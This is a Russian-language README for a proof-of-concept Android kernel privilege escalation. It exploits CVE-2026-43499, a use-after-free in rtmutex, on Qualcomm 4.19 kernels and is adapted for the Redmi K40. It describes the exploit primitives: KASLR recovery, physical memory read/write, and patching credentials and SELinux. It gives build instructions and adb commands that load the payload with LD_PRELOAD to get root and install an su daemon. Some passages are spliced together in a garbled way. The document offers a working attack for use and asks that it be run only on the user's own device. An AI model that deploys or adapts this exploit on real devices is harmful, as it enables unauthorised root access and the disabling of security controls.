
Android kernel LPE PoC для CVE-2026-43499 — use-after-free в rtmutex в ядрах Qualcomm 4.19, адаптированный для Redmi K40 с root-пейлоадом через LD_PRELOAD.
Локальное повышение привилегий с использованием CVE-2026-43499 — ошибки в rtmutex
remove_waiter(), из-за которой struct rt_mutex_waiter остаётся висячим на
стеке ядра ожидающего потока (kernel/locking/rtmutex.c, CWE-416 use-after-free).
Адаптировано из
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) для семейства вендорских ядер
Qualcomm Android 4.19.x.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() вызывает remove_waiter(),
который работает с current вместо waiter->task — удаление из rb-дерева без
pi_lock, висячий pi_blocked_on, что приводит к UAF в стеке ядра.
Затронуты вплоть до исправленных версий 5.10/5.15/6.1/6.6/6.12/6.18/7.0; для
4.19 бэкпорта нет (EOL), поэтому 4.19.157-perf уязвимо.src/ адаптированные исходники эксплойта (preload.so)
src/targets/oplus-4.19.157-perf/target.h таблица смещений для устройства (на основе kallsyms)
prebuilt/ скомпилированные артефакты (aarch64)
adaptation-4.19.patch полный diff относительно upstream-кода для Pixel (6.x)
Makefile, build.sh точки входа сборки
configfs_read_file / configfs_write_bin_file размещены в слотах fops
.read/.write (сигнатуры 4.19), а примитив чтения использует упрощённую
раскладку фейкового буфера count/page/ppos=0/dev/ashmem) в этом ядре отсутствует — длина префикса 0selinux_blob_sizes в 4.19 не существует → прямой cred->security
(SELINUX_CRED_BLOB_OFF=0); в struct seccomp нет filter_countASHMEM_MISC_FOPS = слот miscdevice.fops (ashmem_misc + 0x10)Linux / WSL с Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Выходные файлы: prebuilt/preload.so (полезная нагрузка для LD_PRELOAD) и
встроенный PIE su_daemon.
Требуется ADB shell (достаточно обычного непривилегированного adb shell —
эксплойт полностью работает без привилегий и повышает их сам).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Необязательные однострочные варианты:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Каждая строка pr_* дублируется на диск с немедленным write()+fsync(), чтобы
след пережил панику ядра/перезагрузку:
/sdcard/Download/log_<timestamp>.txt
Резервные пути, если /sdcard недоступен: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Ключевые маркеры в журнале:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — полезная нагрузка загруженаslide-kaslr-ok ... base=... — база KASLR восстановленаpipe-physrw-summary ... root=1 ... — физический RW установленuid_before=... uid_after=0 ... selinux=1->0 — учётные данные пропатченыUNVERIFIED — именно эту
стадию нужно настраивать под устройство с помощью этого журнала.target.h
и логируются как UNVERIFIED во время выполнения. Итерируйте на устройстве,
используя fsync-журнал.CONFIG_STATIC_USERMODEHELPER=y в этой сборке отключает трюки с путём
modprobe; основной путь — прямое патчирование cred./proc/kallsyms) и /proc/slabinfo перед развёртыванием.Apache-2.0 (upstream: NebuSec/CyberMeowfia). Только для исследований в области безопасности и авторизованного рута устройств. Используйте на собственном оборудовании.